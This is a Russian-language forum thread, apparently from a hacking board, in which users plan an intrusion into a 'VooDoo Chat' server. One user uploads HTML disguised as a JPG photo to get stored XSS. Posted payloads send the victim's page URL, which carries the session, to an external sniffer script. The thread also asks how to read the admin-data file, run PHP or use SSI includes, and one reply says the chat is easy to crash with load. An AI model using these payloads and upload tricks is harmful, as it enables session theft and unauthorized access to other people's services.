![]() |
Есть чат, есть возможность залить на сервер произвольную ХТМЛ страничку, соответственно будет рабоатть, например,
<script>alert(document.location)</script> Брал любую страничку (например, yandex.ru) и заливал на сервер чата, эта страничка показывалась со всеми скриптами и т.д. Если залить РНР, то видин листинг самого РНР, но выполнения нет. Известна структура каталогов и какие файлы где лежат на сервере. Как можно увидить листинг необходимого мне файла на сервере (путь и название известны)? Вообще, что можно сделать в данном случае? Перехват куки и реферов... скажем так, сессия самих пользователей мне не нужна, лучше получить доступ к файлу, где хранятся данные об админах... Как можно выполнить РНР как бы не напрямую, а через ХТМЛ, или залить РНР в другую директорию, где разрешено выполнение РНР? Сорри за глупые вопросы, я пока только учусь :) |
Может кто-нить подскажет, что я неправильно делаю?
Загрузил я в анкету вместо фотки следующий код <html> <head> ...... </head> <body> <tr><td><img src="http://chat/photos/26.jpg"><img src=javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?zz_...gt;</tr> </body> </html> Соответственно, при просмотре анкеты пользователя, на вместо фото ничего не показывается - стоит крестик, мол фото не загружено, но при прямом обращении к фото http://chat/photos/113.jpg идет показ фото из другой анкеты 26.jpg, ну и исполняется ява-скрипт. Но вот в поле снифера видно только следующее REFERER=http://chat/photos/113.jpg QUERY=zz_http://chat/photos/113.jpg хотя саму ссылку я давал в окне чата... за обработку ссылок в чате отвечает РНР - http://chat/go.php?url=http://chat/photos/113.jpg PS. opener.location у меня не работает. Каким образом можно перехватить УРЛ, т.к. в нем как раз и содержится сессия? |
Если в папке запрещено выполнение пхп, то толку от заливки php нет.
Еще можно попробовать посмотреть файлы через иклудинги shtml (если сервер их поддреживает) |
Да. смысла никакого, поэтому интересует вопрос, как можно залив сначала в одну директорию (где фото) перезалить в другую (где возможно выполнение РНР) при помощи ХТМЛ. Извиняюсь заранее за столь глупый вопрос, просто только учусь. Если я неправ, поправте меня или дайте ссылочку, где говорится в чем я неправ.
инклудинги SHTML по всей видимости не работают.. делаю следующее: <html> <head> </head> <body> <tr><td> <img src="http://chat/photos/26.big.jpg"> <script src="http://antichat.ru/cgi-bin/s.jpg?zz_...ation.href> </script> <!--#echo var="LAST_MODIFIED" --> </td></tr> </body> </html> Никаких сообщений от сервера о времени последнего обновления странички нет.... только фото... Интересует такой вопрос, в руководствах по Апачу пишется: An alternative method of telling the server which files include SSI commands is to use the so-called XBitHack. This involves setting the execute bit on HTML files. Any file with a content type of text/html (i.e. an extension .html) and with the execute bit set will be checked for SSI commands. Что это за Исполняемый Бит (execute bit) внутри ХТМЛ? И как его установить? Или я что-то не так понял? И вот еще что - почему все же в поле Реферер стоит ссылка точно такая же, какую я даю в Чат, т.е. http://chat/photos/113.jpg, а не ссылка с информацией о том пользователе, который кликнул по моей ссылке? |
Понятно... вообщем работа идт с "VooDoo Chat"
Итак нащёт первого: того что в поле снифера отображаетса REFERER=http://chat/photos/113.jpg QUERY=zz_http://chat/photos/113.jpg потому когда ты отсылаешь своё фото на сервер он скриптом обрабатывает его и сохраняет на сервере итого твой скрипт имеет ввид картинки в которой сохранен этот код </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE"><html> <head> ...... </head> <body> <tr><td><img src="http://chat/photos/26.jpg"><img src=javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?zz_"+document.location.href></td></tr> </body> </html> [/QUOTE]<span id='postcolor'> естественно формат гпг никак его не выполняит, естественно он тебе покажет квадрат картинки, которой не сущесвует... Ндааа только особо если не сложно объясни как тебе удалось залить туда ХТМЛ страницу и выполнить её... естетвенно если это вохможно то знаит возможно там всё... ХМ |
Залить произвольный как ты сказал ХТМЛ вот особо что меня интересует, как помоему там такое было не возможно...
|
Как я говорил в самом первом своем послании, любой произвольный ХТМЛ код заливается под видом картинки.
Андрюш, ты же умный ))) ну сам догадайся ))) А хотя, ладно, я знаю, что у тя тоже есть заинтересованность проникнуть в этот чат ))) Токма просьба, не надо всяким Дельфи и прочим чудикам и дурачкам если что рассказывать... а то у них только деструктивные мысли появляются, а ведь наша цель не рушить, а просто исследовать.... Лично мне, надо Бота присоединить к этому чату, чтобы за нецензурщиной следил, а то ты сам знаешь, какие там админы, сами непрочь поматериться и на юзеров оторваться... Берем ХТМЛ код, сохраняем в файл и делаем расширение JPG, заливаем в чат под видом большой картинки (огранчение на 300 000 байт, но и это можно снять :) ), затем смотрим прямую ссылку на якобы картинку, например, будет http://chat/photos/0/1113.big.jpg (сам можешь посмотреть по этой ссылке что будет и исходный код).... Вот и все .... |
Кста, увалить чат достаточно легко, об этом есть пару веток обсуждений на самом форуме этого чата...
Чат плохо переносит "нагрузку".... Это явно не chat.php.spb.ru по устойчивости к нагрузке.... |
Я так понял, что заливка происходит в файл с расширением jpg? Тогда понятно, что SSI не исполняется, ведь для него должно быть расширение shtml.
Правда иногда SSI выполняется и в html, но это лишь при определнной настройке сервера (это и есть т.н. "execute bit", т.е. установка, позворяющая считать html файлы исполняемыми скриптами) |
Странно, тогда почему пишется, что "execute bit" должен быть в ХТМЛ-документе?
Any file with a content type of text/html (i.e. an extension .html) and with the execute bit set will be checked for SSI commands. Где все таки его устанавливать? Да, пишут, что XBitHack должен быть прописан в конфигах самого Апача, но одновременно пишут, что любой файл с типом содержимого text/html и с execute bit будет проверяться Апачем на SSI команды.... |
| Время: 22:07 |